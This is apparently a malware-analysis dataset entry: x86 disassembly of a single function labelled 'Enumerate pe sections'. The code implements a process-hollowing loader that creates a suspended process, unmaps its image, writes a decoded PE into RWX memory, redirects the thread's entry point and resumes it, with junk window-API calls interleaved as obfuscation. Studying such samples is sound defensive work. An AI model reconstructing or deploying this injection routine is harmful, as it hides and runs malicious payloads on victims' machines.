Function at 0x401ff0
Capabilities:
Enumerate pe sections

Disassembly:
jmp 0x402023
sub esp, 0x53c
push ebp
push esi
push edi
push 0x3ef
lea eax, [esp + 0x1c]
xor ebp, ebp
push 0x333
push eax
mov dword [esp + 0x24], ebp
call fcn.0040265f
mov edi, eax
add esp, 0xc
cmp edi, ebp
je 0x40206d
mov eax, dword [esp + 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
inc eax
push eax
push ebp
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
cmp eax, ebp
mov dword [esp + 0x1c], eax
jne 0x402074
xor eax, eax
jmp 0x402655
mov ecx, dword [esp + 0x18]
push ebx
push ecx
push edi
push eax
mov dword [esp + 0x24], ecx
call fcn.004026a1
add esp, 0xc
push edi
push ebp
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
push dword [0x4040e8]
mov ebx, dword [sym.imp.USER32.dll_IsIconic]
call ebx
push dword [0x4040d8]
mov edi, dword [sym.imp.USER32.dll_GetTopWindow]
call edi
mov esi, dword [sym.imp.USER32.dll_GetForegroundWindow]
call esi
push dword [0x4040e4]
call ebx
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x40b884
call ebx
push ebp
push 0x36
push ebp
push 0x3b
push dword [0x40410c]
mov dword [0x40b900], eax
call dword [sym.imp.USER32.dll_TileWindows]
push 0x40b844
push dword [0x40b900]
call fcn.00401ff5
push 0x40b814
mov dword [0x40b8c0], eax
push dword [0x40b900]
call fcn.00401ff5
add esp, 0x10
mov dword [0x40b8c4], eax
push dword [0x404110]
call edi
push 0x40b86c
call ebx
push dword [0x404108]
mov dword [0x40b904], eax
call dword [sym.imp.USER32.dll_SetForegroundWindow]
mov ebx, dword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
push ebp
push 0xd5
push dword [0x4040dc]
call ebx
push 0x40b874
push dword [0x40b900]
call fcn.00401ff5
push 0x40b854
mov dword [0x40b8dc], eax
push dword [0x40b904]
call fcn.00401ff5
add esp, 0x10
mov dword [0x40b8e0], eax
call dword [sym.imp.USER32.dll_AnyPopup]
push 0x40b834
push dword [0x40b900]
call fcn.00401ff5
pop ecx
mov dword [0x40b8e4], eax
pop ecx
push dword [0x404100]
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push 0x40b800
push dword [0x40b900]
call fcn.00401ff5
push 0x40b7e0
mov dword [0x40b8e8], eax
push dword [0x40b900]
call fcn.00401ff5
add esp, 0x10
mov dword [0x40b8ec], eax
call esi
push 0x40b7b8
push dword [0x40b900]
call fcn.00401ff5
pop ecx
mov dword [0x40b8f0], eax
pop ecx
call dword [sym.imp.USER32.dll_AnyPopup]
push 0x40b798
push dword [0x40b900]
call fcn.00401ff5
pop ecx
mov dword [0x40b8f4], eax
pop ecx
push ebp
push 0x3c
push dword [0x40408c]
call ebx
push 0x40b768
push dword [0x40b900]
call fcn.00401ff5
pop ecx
mov dword [0x40b8bc], eax
pop ecx
call dword [sym.imp.USER32.dll_AnyPopup]
push 0x40b820
push dword [0x40b900]
call fcn.00401ff5
pop ecx
mov dword [0x40b8f8], eax
pop ecx
push 0x83
push dword [0x4040b0]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x40b7f4
push dword [0x40b900]
call fcn.00401ff5
pop ecx
mov dword [0x40b8c8], eax
pop ecx
push dword [0x404124]
push dword [0x4040c8]
call dword [sym.imp.USER32.dll_SetParent]
call dword [0x40b8c0]
mov dword [0x40b8fc], eax
lea eax, [esp + 0x17c]
push 0x104
push eax
push ebp
call dword [0x40b8f8]
push dword [0x404058]
call dword [sym.imp.USER32.dll_GetParent]
call esi
push 0x16
push dword [0x4040d0]
call dword [sym.imp.USER32.dll_WaitForInputIdle]
push dword [0x4040bc]
call dword [sym.imp.USER32.dll_GetLastActivePopup]
push dword [0x404030]
call edi
push dword [0x404144]
push dword [0x4041b4]
call dword [sym.imp.USER32.dll_SetParent]
push ebp
push 0xcc
push dword [0x404154]
call ebx
push dword [0x40402c]
call dword [sym.imp.USER32.dll_IsWindowUnicode]
push ebp
push 0xbd
push dword [0x404170]
call ebx
call esi
mov eax, dword [esp + 0x18]
push dword [0x40406c]
inc eax
mov dword [esp + 0x18], eax
call edi
push dword [esp + 0x14]
push ebp
push dword [0x40b8fc]
call dword [0x40b8c4]
cmp eax, ebp
mov dword [esp + 0x10], eax
jne 0x402336
call dword [sym.imp.USER32.dll_AnyPopup]
jmp 0x40262a
dec dword [esp + 0x14]
call esi
push dword [esp + 0x14]
push dword [esp + 0x24]
push dword [esp + 0x18]
call fcn.004026a1
add esp, 0xc
push dword [0x4041a0]
call edi
mov eax, dword [esp + 0x10]
push dword [0x4041f0]
movsx eax, byte [eax]
mov dword [esp + 0x1c], eax
call dword [sym.imp.USER32.dll_IsIconic]
mov eax, dword [esp + 0x14]
push 0x6e
sub eax, dword [esp + 0x1c]
push dword [0x404008]
dec eax
mov dword [esp + 0x1c], eax
call dword [sym.imp.USER32.dll_WaitForInputIdle]
call esi
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x14]
push dword [esp + 0x18]
lea eax, [eax + ecx + 1]
push eax
lea eax, [esp + 0x80]
push eax
call fcn.00401d30
mov eax, dword [esp + 0x1c]
push dword [esp + 0x20]
inc eax
mov dword [esp + 0x20], eax
push eax
lea eax, [esp + 0x8c]
push eax
call fcn.00401e51
add esp, 0x18
push dword [0x4041f8]
call dword [sym.imp.USER32.dll_GetLastActivePopup]
push dword [0x404120]
call dword [sym.imp.USER32.dll_IsIconic]
cmp dword [esp + 0x10], ebp
je 0x40262a
push dword [0x404148]
call dword [sym.imp.USER32.dll_CloseWindow]
push 0xf
push dword [0x40412c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x1e
push dword [0x404048]
call dword [sym.imp.USER32.dll_ShowWindowAsync]
push 0x55
push dword [0x404074]
call dword [sym.imp.USER32.dll_ShowWindowAsync]
push dword [0x404204]
call edi
push 0x44
lea eax, [esp + 0x38]
push ebp
push eax
call fcn.004026ef
add esp, 0xc
push 0x7f
push dword [0x404094]
call dword [sym.imp.USER32.dll_ShowWindowAsync]
push dword [0x40422c]
mov dword [esp + 0x38], 0x44
call dword [sym.imp.USER32.dll_IsIconic]
push dword [0x4041d4]
mov dword [esp + 0x284], 0x10007
push dword [0x404060]
call dword [sym.imp.USER32.dll_SetParent]
mov eax, dword [esp + 0x10]
push ebp
push 0xfd
mov dword [0x40b8b0], eax
push dword [0x404224]
call ebx
mov eax, dword [0x40b8b0]
mov ebx, dword [esp + 0x10]
push 0x36
mov eax, dword [eax + 0x3c]
push dword [0x404108]
add eax, ebx
mov dword [0x40b8b4], eax
call dword [sym.imp.USER32.dll_WaitForInputIdle]
push 3
push dword [0x4040e4]
call dword [sym.imp.USER32.dll_ShowWindowAsync]
push dword [0x404214]
call dword [sym.imp.USER32.dll_GetLastActivePopup]
lea eax, [esp + 0x24]
push eax
lea eax, [esp + 0x38]
push eax
push ebp
push ebp
push 4
push ebp
push ebp
lea eax, [esp + 0x198]
push ebp
push eax
push ebp
call dword [0x40b8dc]
push dword [0x40415c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov eax, dword [0x40b8b4]
push dword [eax + 0x34]
push dword [esp + 0x28]
call dword [0x40b8e0]
push 0xba
push dword [0x4040d8]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [0x40b8b4]
push 0x40
push 0x3000
push dword [eax + 0x50]
push dword [eax + 0x34]
push dword [esp + 0x34]
call dword [0x40b8e4]
push dword [0x404254]
call dword [sym.imp.USER32.dll_GetLastActivePopup]
push ebp
mov eax, dword [0x40b8b4]
push dword [eax + 0x54]
push ebx
push dword [eax + 0x34]
push dword [esp + 0x34]
call dword [0x40b8e8]
call dword [sym.imp.USER32.dll_AnyPopup]
mov eax, dword [0x40b8b4]
mov dword [esp + 0x14], ebp
cmp word [eax + 6], bp
jbe 0x4025d4
mov dword [esp + 0x10], ebp
mov eax, dword [0x40b8b0]
push dword [0x40413c]
mov eax, dword [eax + 0x3c]
add eax, dword [esp + 0x14]
lea eax, [eax + ebx + 0xf8]
mov dword [0x40b8b8], eax
call dword [sym.imp.USER32.dll_SetForegroundWindow]
mov eax, dword [0x40b8b8]
push ebp
mov ecx, dword [eax + 0x14]
push dword [eax + 0x10]
mov eax, dword [eax + 0xc]
add ecx, ebx
push ecx
mov ecx, dword [0x40b8b4]
add eax, dword [ecx + 0x34]
push eax
push dword [esp + 0x34]
call dword [0x40b8e8]
call esi
mov eax, dword [0x40b8b4]
inc dword [esp + 0x14]
add dword [esp + 0x10], 0x28
movzx eax, word [eax + 6]
cmp dword [esp + 0x14], eax
jl 0x402570
lea eax, [esp + 0x280]
push eax
push dword [esp + 0x2c]
call dword [0x40b8ec]
push dword [0x404038]
call edi
mov eax, dword [0x40b8b4]
mov ecx, dword [eax + 0x34]
add ecx, dword [eax + 0x28]
lea eax, [esp + 0x280]
push eax
push dword [esp + 0x2c]
mov dword [esp + 0x338], ecx
call dword [0x40b8f0]
push dword [0x40423c]
call dword [sym.imp.USER32.dll_GetParent]
push dword [esp + 0x28]
call dword [0x40b8f4]
call esi
mov esi, dword [sym.imp.USER32.dll_TileWindows]
push ebp
push 0xf8
push ebp
push 0x9c
push dword [0x4040a8]
call esi
push ebp
push 0x5a
push ebp
push 0x10
push dword [0x404084]
call esi
xor eax, eax
pop ebx
pop edi
pop esi
pop ebp
add esp, 0x53c
ret